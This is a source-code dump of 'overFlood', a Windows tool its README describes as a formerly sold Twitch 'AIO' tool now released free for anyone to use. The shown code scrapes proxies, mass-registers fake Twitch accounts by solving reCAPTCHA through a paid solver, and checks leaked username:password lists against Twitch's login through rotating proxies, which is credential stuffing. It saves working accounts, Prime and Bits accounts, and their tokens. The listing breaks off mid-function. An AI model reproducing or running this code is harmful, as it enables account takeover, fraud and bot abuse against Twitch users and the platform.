├── README.md └── overFlood └── overFlood ├── App.config ├── MainForm.Designer.cs ├── MainForm.cs ├── MainForm.resx ├── bin ├── Debug │ ├── Leaf.xNet.dll │ ├── Leaf.xNet.xml │ ├── Newtonsoft.Json.dll │ ├── Newtonsoft.Json.xml │ ├── overFlood.exe │ ├── overFlood.exe.config │ └── overFlood.pdb └── Release │ ├── Leaf.xNet.dll │ ├── Leaf.xNet.xml │ ├── Newtonsoft.Json.dll │ ├── Newtonsoft.Json.xml │ ├── overFlood.exe │ ├── overFlood.exe.config │ └── overFlood.pdb └── obj └── Debug ├── DesignTimeResolveAssemblyReferences.cache └── DesignTimeResolveAssemblyReferencesInput.cache /README.md: -------------------------------------------------------------------------------- 1 | # overFlood 2 | The full source code for the final version I had released of overFlood. Further updates will not be provided for this project even if features stop working in the future. 3 | 4 | This is a powerful Twitch AIO tool which I had been selling since March 2020 and stopped selling in March 2021. There is a lot of leaked versions of this tool online and there are multiple versions of it still being sold. Without me making this tool, the Twitch AIO tool market would have been nowhere near as populated. 5 | 6 | Since I will no longer be working on this project, and have moved onto other projects, I have decided it would be appropiate to make this tool and source code free for everyone to use. Use this as you want, but I hope that this helps many people. 7 | -------------------------------------------------------------------------------- /overFlood/overFlood/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /overFlood/overFlood/MainForm.cs: -------------------------------------------------------------------------------- 1 | using Leaf.xNet; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.IO; 5 | using System.Linq; 6 | using System.Net; 7 | using System.Net.Sockets; 8 | using System.Net.WebSockets; 9 | using System.Text; 10 | using System.Text.RegularExpressions; 11 | using System.Threading; 12 | using System.Threading.Tasks; 13 | using System.Windows.Forms; 14 | 15 | namespace overFlood 16 | { 17 | public partial class MainForm : Form 18 | { 19 | #region Variables 20 | private StreamWriter createdAccounts; 21 | private StreamWriter createdTokens; 22 | private StreamWriter workingTokens; 23 | private StreamWriter primeTokens; 24 | private StreamWriter primeAvailableTokens; 25 | private StreamWriter bitsTokens; 26 | 27 | private StreamWriter legacyAccounts; 28 | 29 | private StreamWriter workingAccounts; 30 | private StreamWriter primeAccounts; 31 | private StreamWriter primeAvailableAccounts; 32 | private StreamWriter bitsAccounts; 33 | private StreamWriter workingTokens1; 34 | private StreamWriter primeTokens1; 35 | private StreamWriter primeAvailableTokens1; 36 | private StreamWriter bitsTokens1; 37 | 38 | private CancellationTokenSource creatorTokenSource; 39 | private CancellationTokenSource legacyCheckerTokenSource; 40 | private CancellationTokenSource accountCheckerTokenSource; 41 | private CancellationTokenSource tokenCheckerTokenSource; 42 | private CancellationTokenSource viewTokenSource; 43 | private CancellationTokenSource channelTokenSource; 44 | private CancellationTokenSource vodTokenSource; 45 | private CancellationTokenSource followTokenSource; 46 | private CancellationTokenSource chatTokenSource; 47 | private CancellationTokenSource subTokenSource; 48 | private CancellationTokenSource bitTokenSource; 49 | 50 | private string scrapedProxies; 51 | 52 | private string[] accountCreatorProxies; 53 | private int accountsCreated; 54 | private int accountsRetries; 55 | 56 | string[] legacyCheckerAccounts; 57 | int legacyHits; 58 | int legacyChecks; 59 | int legacyTotal; 60 | 61 | string[] accountCheckerProxies; 62 | string[] accountCheckerAccounts; 63 | int accountCheckerChecks; 64 | int accountCheckerTotal; 65 | int accountCheckerGood; 66 | int accountCheckerBad; 67 | int accountCheckerPrimes; 68 | int accountCheckerPrimeAvailable; 69 | int accountCheckerOverallBits; 70 | int accountCheckerRetries; 71 | 72 | string[] tokenCheckerTokens; 73 | int tokenCheckerChecks; 74 | int tokenCheckerTotal; 75 | int tokenCheckerGood; 76 | int tokenCheckerBad; 77 | int primes; 78 | int primeAvailable; 79 | int overallBits; 80 | 81 | string[] viewProxies; 82 | private int viewRequests; 83 | private int viewRequestsFailed; 84 | 85 | private string[] channelViewProxies; 86 | private int channelRequests; 87 | private int failChannelRequests; 88 | 89 | private string[] vodViewProxies; 90 | private int vodRequests; 91 | private int failVodRequests; 92 | 93 | string[] followTokens; 94 | string[] followProxies; 95 | string followChannelId; 96 | private int followSent; 97 | private int followRemoved; 98 | private int followFailed; 99 | 100 | string[] chatTokens; 101 | string[] chatProxies; 102 | string[] messages; 103 | int t; 104 | int messagesSuccess; 105 | int messagesFail; 106 | 107 | string[] subTokens; 108 | string[] subProxies; 109 | string subChannelId; 110 | int success; 111 | int fail; 112 | 113 | string[] bitTokens; 114 | string[] bitProxies; 115 | string bitChannelId; 116 | int bitSuccess; 117 | int bitFail; 118 | #endregion 119 | 120 | public MainForm() 121 | { 122 | CheckForIllegalCrossThreadCalls = false; 123 | InitializeComponent(); 124 | } 125 | 126 | #region Proxy Scraper Methods 127 | private void btnScraperFetch_Click(object sender, EventArgs e) 128 | { 129 | scrapedProxies = null; 130 | 131 | using (HttpRequest httpRequest = new HttpRequest()) 132 | { 133 | try 134 | { 135 | scrapedProxies = httpRequest.Get($"https://api.proxyscrape.com?request=displayproxies&proxytype={comboScraperType.Text.ToLower()}&timeout={txtScraperTimeout.Text}&country={comboScraperCountry.Text}&anonymity={comboScraperAnonymity.Text.ToLower()}&ssl={comboScraperSSL.Text.ToLower()}").ToString(); 136 | 137 | lblProxiesFetched.Text = $"Proxies fetched: {scrapedProxies.Count(c => c == '\n')}"; 138 | 139 | string LastUpdated = httpRequest.Get($"https://api.proxyscrape.com/?request=lastupdated&proxytype={comboScraperType.Text.ToLower()}").ToString().Replace("Around ", ""); 140 | lblScraperUpdated.Text = $"Last Updated: {LastUpdated}"; 141 | } 142 | catch (Exception) 143 | { 144 | // ignored 145 | } 146 | 147 | MessageBox.Show($"Scraped {scrapedProxies.Count(c => c == '\n')} proxies", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 148 | } 149 | } 150 | 151 | private void btnScraperCopyToClipboard_Click(object sender, EventArgs e) 152 | { 153 | if (scrapedProxies == null || !scrapedProxies.Any()) return; 154 | 155 | Clipboard.SetText(scrapedProxies); 156 | MessageBox.Show($"Copied {scrapedProxies.Count(c => c == '\n')} proxies to clipboard.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 157 | } 158 | 159 | private void btnScraperSave_Click(object sender, EventArgs e) 160 | { 161 | if (!scrapedProxies.Any()) return; 162 | 163 | var saveFileDialog = new SaveFileDialog 164 | { 165 | Title = "Save Proxies", 166 | Filter = "Text files (*.txt)|*.txt" 167 | }; 168 | 169 | if (saveFileDialog.ShowDialog() != DialogResult.OK) return; 170 | 171 | var streamWriter = new StreamWriter(saveFileDialog.FileName); 172 | 173 | streamWriter.Write(scrapedProxies); 174 | 175 | streamWriter.Close(); 176 | MessageBox.Show($"{scrapedProxies.Count(c => c == '\n')} proxies exported!", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 177 | } 178 | #endregion 179 | 180 | #region Account Creator Methods 181 | private void btnCreatorLoadProxies_Click(object sender, EventArgs e) 182 | { 183 | try 184 | { 185 | string fileName = Utilities.OpenFileDialog("Load Proxies"); 186 | if (string.IsNullOrEmpty(fileName)) return; 187 | accountCreatorProxies = Utilities.LoadFile(fileName); 188 | lblCreatorProxies.Text = $"Proxies: {accountCreatorProxies.Count()}"; 189 | MessageBox.Show($"Loaded {accountCreatorProxies.Count()} proxies.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 190 | } 191 | catch (Exception ex) 192 | { 193 | MessageBox.Show(ex.Message, "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Error); 194 | } 195 | } 196 | 197 | private async void btnCreatorStart_Click(object sender, EventArgs e) 198 | { 199 | if (accountCreatorProxies == null || !accountCreatorProxies.Any()) 200 | { 201 | MessageBox.Show("Upload proxies list.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); 202 | return; 203 | } 204 | 205 | btnCreatorLoadProxies.Enabled = false; 206 | accountsCreated = 0; 207 | accountsRetries = 0; 208 | lblAccountsCreated.Text = "Accounts Created: 0"; 209 | lblCreatorRetries.Text = "Retries: 0"; 210 | txtCreator2CaptchaKey.Enabled = false; 211 | txtCreatorAmount.Enabled = false; 212 | txtCreatorThreads.Enabled = false; 213 | txtCreatorTimeout.Enabled = false; 214 | comboCreatorProxyType.Enabled = false; 215 | btnCreatorStart.Enabled = false; 216 | btnCreatorStop.Enabled = true; 217 | 218 | CreateDirectory1(); 219 | 220 | ThreadPool.SetMinThreads(Convert.ToInt32(txtCreatorThreads.Text), Convert.ToInt32(txtCreatorThreads.Text)); 221 | 222 | creatorTokenSource = new CancellationTokenSource(); 223 | CancellationToken token = creatorTokenSource.Token; 224 | 225 | ParallelOptions parallelOptions = new ParallelOptions 226 | { 227 | MaxDegreeOfParallelism = Convert.ToInt32(txtCreatorThreads.Text), 228 | CancellationToken = token 229 | }; 230 | 231 | try 232 | { 233 | await Task.Run(() => Parallel.For(0, Convert.ToInt32(txtCreatorAmount.Text), parallelOptions, CreateAccount), token); 234 | } 235 | catch (OperationCanceledException) 236 | { 237 | // ignored 238 | } 239 | 240 | createdAccounts.Dispose(); 241 | createdTokens.Dispose(); 242 | 243 | btnCreatorLoadProxies.Enabled = true; 244 | txtCreator2CaptchaKey.Enabled = true; 245 | txtCreatorAmount.Enabled = true; 246 | txtCreatorThreads.Enabled = true; 247 | comboCreatorProxyType.Enabled = true; 248 | txtCreatorTimeout.Enabled = true; 249 | btnCreatorStart.Enabled = true; 250 | btnCreatorStop.Enabled = false; 251 | MessageBox.Show($"Created {accountsCreated} accounts.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 252 | } 253 | 254 | private void CreateDirectory1() 255 | { 256 | string text = string.Format("Results/AG-{0:MM-dd-yy-hh-mm-ss}", DateTime.Now); 257 | Directory.CreateDirectory(text); 258 | 259 | createdAccounts = new StreamWriter(string.Format("{0}/accounts.txt", text), true) 260 | { 261 | AutoFlush = true 262 | }; 263 | createdTokens = new StreamWriter(string.Format("{0}/tokens.txt", text), true) 264 | { 265 | AutoFlush = true 266 | }; 267 | } 268 | 269 | private void CreateAccount(int num) 270 | { 271 | SolveRecaptchaV2("6Lcjjl8UAAAAAMCzOHbJj-yb2MBElPKqZmlE5bbL", "https://passport.twitch.tv/register", out string text); 272 | string username = new SmartGenerator().GenerateName(false) + new Random().Next(10, 1000); 273 | string password = GenerateCoupon(new Random().Next(6, 10)); 274 | 275 | using (HttpRequest httpRequest = new HttpRequest()) 276 | { 277 | while (true) 278 | { 279 | string token; 280 | 281 | try 282 | { 283 | string proxy = accountCreatorProxies[new Random().Next(0, accountCreatorProxies.Count())]; 284 | 285 | switch (comboCreatorProxyType.Text) 286 | { 287 | case "HTTP": 288 | httpRequest.Proxy = HttpProxyClient.Parse(proxy); 289 | break; 290 | case "SOCKS4": 291 | httpRequest.Proxy = Socks4ProxyClient.Parse(proxy); 292 | break; 293 | case "SOCKS4a": 294 | httpRequest.Proxy = Socks4AProxyClient.Parse(proxy); 295 | break; 296 | case "SOCKS5": 297 | httpRequest.Proxy = Socks5ProxyClient.Parse(proxy); 298 | break; 299 | } 300 | 301 | httpRequest.ReadWriteTimeout = Convert.ToInt32(txtCreatorTimeout.Text); 302 | httpRequest.ConnectTimeout = Convert.ToInt32(txtCreatorTimeout.Text); 303 | httpRequest.AddHeader("Connection", "keep-alive"); 304 | httpRequest.AddHeader("Origin", "https://www.twitch.tv"); 305 | httpRequest.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"); 306 | httpRequest.AddHeader("Content-Type", "text/plain;charset=UTF-8"); 307 | httpRequest.AddHeader("Accept", "*"); 308 | httpRequest.AddHeader("Referer", "https://www.twitch.tv/"); 309 | httpRequest.AddHeader("Accept-Encoding", "gzip, deflate, br"); 310 | httpRequest.AddHeader("Accept-Language", "en-US,en;q=0.9"); 311 | 312 | var uri = new Uri("https://passport.twitch.tv/register"); 313 | var encoding = Encoding.UTF8; 314 | object[] array = new object[15]; 315 | array[0] = "{\"username\":\""; 316 | array[1] = username; 317 | array[2] = "\",\"password\":\""; 318 | array[3] = password; 319 | array[4] = "\",\"email\":\""; 320 | array[5] = username; 321 | array[6] = "@jokerkard.ru\",\"birthday\":{\"day\":"; 322 | array[7] = new Random().Next(1, 27); 323 | array[8] = ",\"month\":"; 324 | array[9] = new Random().Next(1, 12); 325 | array[10] = ",\"year\":"; 326 | array[11] = new Random().Next(1992, 2001); 327 | array[12] = "},\"client_id\":\"jzkbprff40iqj646a697cyrvl0zt2m6\",\"include_verification_code\":true,\"captcha\":{\"value\":\""; 328 | array[13] = text; 329 | array = array.ToArray(); 330 | object value = "\",\"key\":\"6Lcjjl8UAAAAAMCzOHbJj-yb2MBElPKqZmlE5bbL\"}}"; 331 | array.SetValue(value, 14); 332 | 333 | token = Regex.Match(httpRequest.Post(uri, new BytesContent(encoding.GetBytes(string.Concat(array)))).ToString(), "access_token\":\"(.+?)\"").Groups[1].ToString(); 334 | } 335 | catch (Exception) 336 | { 337 | Interlocked.Increment(ref accountsRetries); 338 | lblCreatorRetries.Text = $"Retries: {accountsRetries}"; 339 | continue; 340 | } 341 | 342 | if (string.IsNullOrEmpty(token)) 343 | { 344 | Interlocked.Increment(ref accountsRetries); 345 | lblCreatorRetries.Text = $"Retries: {accountsRetries}"; 346 | continue; 347 | } 348 | 349 | WriteLine(createdTokens, token); 350 | WriteLine(createdAccounts, username + ":" + password + ":" + token); 351 | Interlocked.Increment(ref accountsCreated); 352 | lblAccountsCreated.Text = $"Accounts Created: {accountsCreated}"; 353 | break; 354 | } 355 | } 356 | } 357 | 358 | 359 | private bool SolveRecaptchaV2(string googleKey, string pageUrl, out string result) 360 | { 361 | string requestUrl = "http://2captcha.com/in.php?key=" + txtCreator2CaptchaKey.Text + "&method=userrecaptcha&googlekey=" + googleKey + "&pageurl=" + pageUrl; 362 | 363 | try 364 | { 365 | WebRequest req = WebRequest.Create(requestUrl); 366 | 367 | using (WebResponse resp = req.GetResponse()) 368 | using (StreamReader read = new StreamReader(resp.GetResponseStream())) 369 | { 370 | string response = read.ReadToEnd(); 371 | 372 | if (response.Count() < 3) 373 | { 374 | result = response; 375 | return false; 376 | } 377 | else 378 | { 379 | if (response.Substring(0, 3) == "OK|") 380 | { 381 | string captchaID = response.Remove(0, 3); 382 | 383 | for (int i = 0; i < 24; i++) 384 | { 385 | WebRequest getAnswer = WebRequest.Create("http://2captcha.com/res.php?key=" + txtCreator2CaptchaKey.Text + "&action=get&id=" + captchaID); 386 | 387 | using (WebResponse answerResp = getAnswer.GetResponse()) 388 | using (StreamReader answerStream = new StreamReader(answerResp.GetResponseStream())) 389 | { 390 | string answerResponse = answerStream.ReadToEnd(); 391 | 392 | if (answerResponse.Count() < 3) 393 | { 394 | result = answerResponse; 395 | return false; 396 | } 397 | else 398 | { 399 | if (answerResponse.Substring(0, 3) == "OK|") 400 | { 401 | result = answerResponse.Remove(0, 3); 402 | return true; 403 | } 404 | else if (answerResponse != "CAPCHA_NOT_READY") 405 | { 406 | result = answerResponse; 407 | return false; 408 | } 409 | } 410 | } 411 | 412 | Thread.Sleep(5000); 413 | } 414 | 415 | result = "Timeout"; 416 | return false; 417 | } 418 | else 419 | { 420 | result = response; 421 | return false; 422 | } 423 | } 424 | } 425 | } 426 | catch { } 427 | 428 | result = "Unknown error"; 429 | return false; 430 | } 431 | 432 | private static string GenerateCoupon(int length) 433 | { 434 | var random = new Random(); 435 | const string characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; 436 | var result = new StringBuilder(length); 437 | for (var i = 0; i < length; i++) 438 | { 439 | result.Append(characters[random.Next(characters.Count())]); 440 | } 441 | return result.ToString(); 442 | } 443 | 444 | private void btnCreatorStop_Click(object sender, EventArgs e) 445 | { 446 | creatorTokenSource.Cancel(); 447 | } 448 | #endregion 449 | 450 | #region Legacy Checker Methods 451 | private void btnLegacyLoadAccounts_Click(object sender, EventArgs e) 452 | { 453 | try 454 | { 455 | string fileName = Utilities.OpenFileDialog("Load Accounts"); 456 | if (string.IsNullOrEmpty(fileName)) return; 457 | legacyCheckerAccounts = Utilities.LoadAccounts(fileName); 458 | lblLegacyAccounts.Text = $"Valid accounts: {legacyCheckerAccounts.Count()}"; 459 | MessageBox.Show($"Loaded {legacyCheckerAccounts.Count()} valid accounts.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 460 | } 461 | catch (Exception ex) 462 | { 463 | MessageBox.Show(ex.Message, "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Error); 464 | } 465 | } 466 | 467 | private async void btnLegacyStart_Click(object sender, EventArgs e) 468 | { 469 | if (legacyCheckerAccounts == null || !legacyCheckerAccounts.Any()) 470 | { 471 | MessageBox.Show("Upload accounts list.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); 472 | return; 473 | } 474 | 475 | btnLegacyLoadAccounts.Enabled = false; 476 | txtLegacyThreads.Enabled = false; 477 | btnLegacyStart.Enabled = false; 478 | btnLegacyStop.Enabled = true; 479 | lblLegacyHits.Text = "Hits: 0"; 480 | legacyHits = 0; 481 | legacyChecks = 0; 482 | legacyTotal = legacyCheckerAccounts.Count(); 483 | lblLegacyChecked.Text = $"Checked: 0/{legacyTotal}"; 484 | 485 | Directory.CreateDirectory("Results"); 486 | legacyAccounts = new StreamWriter(string.Format("Results/LC-{0:MM-dd-yy-hh-mm-ss}.txt", DateTime.Now)); 487 | 488 | ThreadPool.SetMinThreads(Convert.ToInt32(txtLegacyThreads.Text), Convert.ToInt32(txtLegacyThreads.Text)); 489 | 490 | legacyCheckerTokenSource = new CancellationTokenSource(); 491 | CancellationToken cancellationToken = legacyCheckerTokenSource.Token; 492 | 493 | ParallelOptions parallelOptions = new ParallelOptions 494 | { 495 | MaxDegreeOfParallelism = Convert.ToInt32(txtLegacyThreads.Text), 496 | CancellationToken = cancellationToken 497 | }; 498 | 499 | try 500 | { 501 | await Task.Run(() => Parallel.ForEach(legacyCheckerAccounts, parallelOptions, LegacyCheckAccount), cancellationToken); 502 | } 503 | catch (OperationCanceledException) 504 | { 505 | // ignored 506 | } 507 | 508 | legacyAccounts.Dispose(); 509 | 510 | btnLegacyLoadAccounts.Enabled = true; 511 | txtLegacyThreads.Enabled = true; 512 | btnLegacyStart.Enabled = true; 513 | btnLegacyStop.Enabled = false; 514 | MessageBox.Show($"Checked {legacyChecks} accounts. The results are stored in the 'Results' directory.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 515 | } 516 | 517 | private void LegacyCheckAccount(string combo) 518 | { 519 | try 520 | { 521 | if (combo.Contains(":")) 522 | { 523 | string[] array = combo.Split(':'); 524 | string username = array[0]; 525 | string password = array[1]; 526 | string id = GetChannel(username); 527 | 528 | StreamWriter ca; 529 | 530 | if (!string.IsNullOrEmpty(id) && int.TryParse(id, out _) == true) 531 | { 532 | ca = legacyAccounts; 533 | lock (ca) 534 | { 535 | legacyAccounts.WriteLine(username + ":" + password); 536 | } 537 | 538 | Interlocked.Increment(ref legacyHits); 539 | lblLegacyHits.Text = $"Hits: {legacyHits}"; 540 | } 541 | 542 | ca = legacyAccounts; 543 | lock (ca) 544 | { 545 | legacyAccounts.Flush(); 546 | } 547 | } 548 | } 549 | catch (Exception) 550 | { 551 | // ignored 552 | } 553 | 554 | Interlocked.Increment(ref legacyChecks); 555 | lblLegacyChecked.Text = $"Checked: {legacyChecks}/{legacyTotal}"; 556 | } 557 | 558 | private void btnLegacyStop_Click(object sender, EventArgs e) 559 | { 560 | legacyCheckerTokenSource.Cancel(); 561 | } 562 | #endregion 563 | 564 | #region Account Checker Methods 565 | private void btnAccountCheckerLoadProxies_Click(object sender, EventArgs e) 566 | { 567 | try 568 | { 569 | string fileName = Utilities.OpenFileDialog("Load Proxies"); 570 | if (string.IsNullOrEmpty(fileName)) return; 571 | accountCheckerProxies = Utilities.LoadFile(fileName); 572 | lblAccountCheckerProxies.Text = $"Proxies: {accountCheckerProxies.Count()}"; 573 | MessageBox.Show($"Loaded {accountCheckerProxies.Count()} proxies.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 574 | } 575 | catch (Exception ex) 576 | { 577 | MessageBox.Show(ex.Message, "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Error); 578 | } 579 | } 580 | 581 | private void btnAccountCheckerLoadAccounts_Click(object sender, EventArgs e) 582 | { 583 | try 584 | { 585 | string fileName = Utilities.OpenFileDialog("Load Accounts"); 586 | if (string.IsNullOrEmpty(fileName)) return; 587 | accountCheckerAccounts = Utilities.LoadAccounts(fileName); 588 | lblCheckerAccounts.Text = $"Valid accounts: {accountCheckerAccounts.Count()}"; 589 | MessageBox.Show($"Loaded {accountCheckerAccounts.Count()} valid accounts.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 590 | } 591 | catch (Exception ex) 592 | { 593 | MessageBox.Show(ex.Message, "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Error); 594 | } 595 | } 596 | 597 | private async void btnAccountCheckerStart_Click(object sender, EventArgs e) 598 | { 599 | if (accountCheckerAccounts == null || !accountCheckerAccounts.Any()) 600 | { 601 | MessageBox.Show("Upload accounts list.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); 602 | return; 603 | } 604 | 605 | if (accountCheckerProxies == null || !accountCheckerProxies.Any()) 606 | { 607 | MessageBox.Show("Upload proxies list.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); 608 | return; 609 | } 610 | 611 | btnAccountCheckerLoadProxies.Enabled = false; 612 | btnAccountCheckerLoadAccounts.Enabled = false; 613 | txtAccountCheckerThreads.Enabled = false; 614 | comboCheckerProxyType.Enabled = false; 615 | txtCheckerTimeout.Enabled = false; 616 | btnAccountCheckerStart.Enabled = false; 617 | btnAccountCheckerStop.Enabled = true; 618 | lblAccountCheckerGood.Text = "Hits: 0"; 619 | lblAccountCheckerInvalid.Text = "Invalid: 0"; 620 | lblAccountCheckerPrimes.Text = "Prime: 0"; 621 | lblAccountCheckerPrimeAvailable.Text = "Primes Available: 0"; 622 | lblAccountCheckerBits.Text = "Bits: 0"; 623 | lblAccountCheckerRetries.Text = "Retries: 0"; 624 | accountCheckerChecks = 0; 625 | accountCheckerTotal = accountCheckerAccounts.Count(); 626 | accountCheckerGood = 0; 627 | accountCheckerBad = 0; 628 | accountCheckerPrimeAvailable = 0; 629 | accountCheckerOverallBits = 0; 630 | accountCheckerPrimes = 0; 631 | accountCheckerRetries = 0; 632 | lblAccountCheckerChecked.Text = $"Checked: 0/{accountCheckerTotal}"; 633 | 634 | CreateDirectory3(); 635 | 636 | ThreadPool.SetMinThreads(Convert.ToInt32(txtAccountCheckerThreads.Text), Convert.ToInt32(txtAccountCheckerThreads.Text)); 637 | 638 | accountCheckerTokenSource = new CancellationTokenSource(); 639 | CancellationToken cancellationToken = accountCheckerTokenSource.Token; 640 | 641 | ParallelOptions parallelOptions = new ParallelOptions 642 | { 643 | MaxDegreeOfParallelism = Convert.ToInt32(txtAccountCheckerThreads.Text), 644 | CancellationToken = cancellationToken 645 | }; 646 | 647 | try 648 | { 649 | await Task.Run(() => Parallel.ForEach(accountCheckerAccounts, parallelOptions, CheckAccount), cancellationToken); 650 | } 651 | catch (OperationCanceledException) 652 | { 653 | // ignored 654 | } 655 | 656 | workingAccounts.Dispose(); 657 | primeAccounts.Dispose(); 658 | primeAvailableAccounts.Dispose(); 659 | bitsAccounts.Dispose(); 660 | workingTokens1.Dispose(); 661 | primeTokens1.Dispose(); 662 | primeAvailableTokens1.Dispose(); 663 | bitsTokens1.Dispose(); 664 | 665 | btnAccountCheckerLoadProxies.Enabled = true; 666 | btnAccountCheckerLoadAccounts.Enabled = true; 667 | txtAccountCheckerThreads.Enabled = true; 668 | comboCheckerProxyType.Enabled = true; 669 | txtCheckerTimeout.Enabled = true; 670 | btnAccountCheckerStart.Enabled = true; 671 | btnAccountCheckerStop.Enabled = false; 672 | MessageBox.Show($"Checked {accountCheckerChecks} accounts. The results are stored in the 'Results' directory.", "overFlood", MessageBoxButtons.OK, MessageBoxIcon.Information); 673 | } 674 | 675 | private void btnAccountCheckerStop_Click(object sender, EventArgs e) 676 | { 677 | accountCheckerTokenSource.Cancel(); 678 | } 679 | 680 | private void CreateDirectory3() 681 | { 682 | string text = string.Format("Results/AC-{0:MM-dd-yy-hh-mm-ss}", DateTime.Now); 683 | Directory.CreateDirectory(text); 684 | workingAccounts = new StreamWriter(string.Format("{0}/accounts.txt", text), true) 685 | { 686 | AutoFlush = true 687 | }; 688 | primeAccounts = new StreamWriter(string.Format("{0}/prime-accounts.txt", text), true) 689 | { 690 | AutoFlush = true 691 | }; 692 | primeAvailableAccounts = new StreamWriter(string.Format("{0}/prime-available-accounts.txt", text), true) 693 | { 694 | AutoFlush = true 695 | }; 696 | bitsAccounts = new StreamWriter(string.Format("{0}/bits-accounts.txt", text), true) 697 | { 698 | AutoFlush = true 699 | }; 700 | workingTokens1 = new StreamWriter(string.Format("{0}/tokens.txt", text), true) 701 | { 702 | AutoFlush = true 703 | }; 704 | primeTokens1 = new StreamWriter(string.Format("{0}/prime-tokens.txt", text), true) 705 | { 706 | AutoFlush = true 707 | }; 708 | primeAvailableTokens1 = new StreamWriter(string.Format("{0}/prime-available-tokens.txt", text), true) 709 | { 710 | AutoFlush = true 711 | }; 712 | bitsTokens1 = new StreamWriter(string.Format("{0}/bits-tokens.txt", text), true) 713 | { 714 | AutoFlush = true 715 | }; 716 | } 717 | 718 | private void CheckAccount(string account) 719 | { 720 | string username = null; 721 | string password = null; 722 | string text = null; 723 | 724 | try 725 | { 726 | string[] array = account.Split(new char[] 727 | { 728 | ':' 729 | }); 730 | 731 | username = array[0]; 732 | password = array[1]; 733 | 734 | text = string.Concat(new string[] 735 | { 736 | "{\"username\":\"", 737 | username, 738 | "\",\"password\":\"", 739 | password, 740 | "\",\"client_id\":\"kimne78kx3ncx6brgo4mv6wki5h1ko\"}}" 741 | }); 742 | } 743 | catch (Exception) 744 | { 745 | Interlocked.Increment(ref accountCheckerBad); 746 | lblAccountCheckerInvalid.Text = $"Invalid: {accountCheckerBad}"; 747 | Interlocked.Increment(ref accountCheckerChecks); 748 | lblAccountCheckerChecked.Text = $"Checked: {accountCheckerChecks}/{accountCheckerTotal}"; 749 | return; 750 | } 751 | 752 | while (true) 753 | { 754 | int num = new Random().Next(accountCheckerProxies.Count()); 755 | int index = num; 756 | 757 | ProxyType proxyType; 758 | 759 | switch (comboCheckerProxyType.Text) 760 | { 761 | case "HTTP": 762 | proxyType = ProxyType.HTTP; 763 | break; 764 | case "SOCKS4": 765 | proxyType = ProxyType.Socks4; 766 | break; 767 | case "SOCKS4a": 768 | proxyType = ProxyType.Socks4A; 769 | break; 770 | case "SOCKS5": 771 | proxyType = ProxyType.Socks5; 772 | break; 773 | default: 774 | proxyType = ProxyType.HTTP; 775 | break; 776 | } 777 | 778 | ProxyClient proxyClient = ProxyClient.Parse(proxyType, accountCheckerProxies[index]); 779 | proxyClient.ConnectTimeout = Convert.ToInt32(txtCheckerTimeout.Text); 780 | proxyClient.ReadWriteTimeout = Convert.ToInt32(txtCheckerTimeout.Text); 781 | 782 | string response = LoginAccount(text, proxyClient); 783 | 784 | if (!response.Contains("access_token")) 785 | { 786 | if (!response.Contains("user does not exist") && !response.Contains("user has been deleted") && !response.Contains("suspended user") && !response.Contains("user credentials incorrect") && !response.Contains("invalid username") && !response.Contains("user needs password reset") && !response.Contains("invalid password")) 787 | { 788 | Interlocked.Increment(ref accountCheckerRetries); 789 | lblAccountCheckerRetries.Text = $"Retries: {accountCheckerRetries}"; 790 | continue; 791 | } 792 | 793 | Interlocked.Increment(ref accountCheckerBad); 794 | lblAccountCheckerInvalid.Text = $"Invalid: {accountCheckerBad}"; 795 | } 796 | else 797 | { 798 | string value = new Regex("access_token\":\"(.+)\"").Match(response).Groups[1].Value.Replace("\",\"redirect_path\":\"https://www.twitch.tv/", ""); 799 | string text1; 800 | while ((text1 = CheckToken(value, username)) == null) 801 | { 802 | } 803 | CheckAccount(account, value, text1); 804 | } 805 | 806 | Interlocked.Increment(ref accountCheckerChecks); 807 | lblAccountCheckerChecked.Text = $"Checked: {accountCheckerChecks}/{accountCheckerTotal}"; 808 | break; 809 | } 810 | } 811 | 812 | private string LoginAccount(string text, ProxyClient proxyClient) 813 | { 814 | string result; 815 | using (HttpRequest httpRequest = new HttpRequest()) 816 | { 817 | httpRequest.UserAgent = Http.ChromeUserAgent(); 818 | httpRequest.Referer = "https://www.twitch.tv/"; 819 | httpRequest.IgnoreProtocolErrors = true; 820 | httpRequest.Reconnect = false; 821 | httpRequest.Proxy = proxyClient; 822 | httpRequest.AddHeader("Origin", "https://www.twitch.tv"); 823 | try 824 | { 825 | result = httpRequest.Post("https://passport.twitch.tv/login", text, "text/plain;charset=UTF-8").ToString(); 826 | } 827 | catch (Exception) 828 | { 829 | result = "request error"; 830 | } 831 | } 832 | return result; 833 | } 834 | 835 | private string CheckToken(string token, string username) 836 | { 837 | string result; 838 | using (HttpRequest httpRequest = new HttpRequest()) 839 | { 840 | httpRequest.UserAgent = Http.RandomUserAgent(); 841 | httpRequest.Referer = "https://www.twitch.tv/"; 842 | httpRequest.ConnectTimeout = Convert.ToInt32(txtCheckerTimeout.Text); 843 | httpRequest.ReadWriteTimeout = Convert.ToInt32(txtCheckerTimeout.Text); 844 | httpRequest.IgnoreProtocolErrors = true; 845 | httpRequest.Reconnect = false; 846 | httpRequest.Authorization = "OAuth " + token; 847 | httpRequest.AddHeader("Pragma", "no-cache"); 848 | httpRequest.AddHeader("Origin", "https://twitch.tv"); 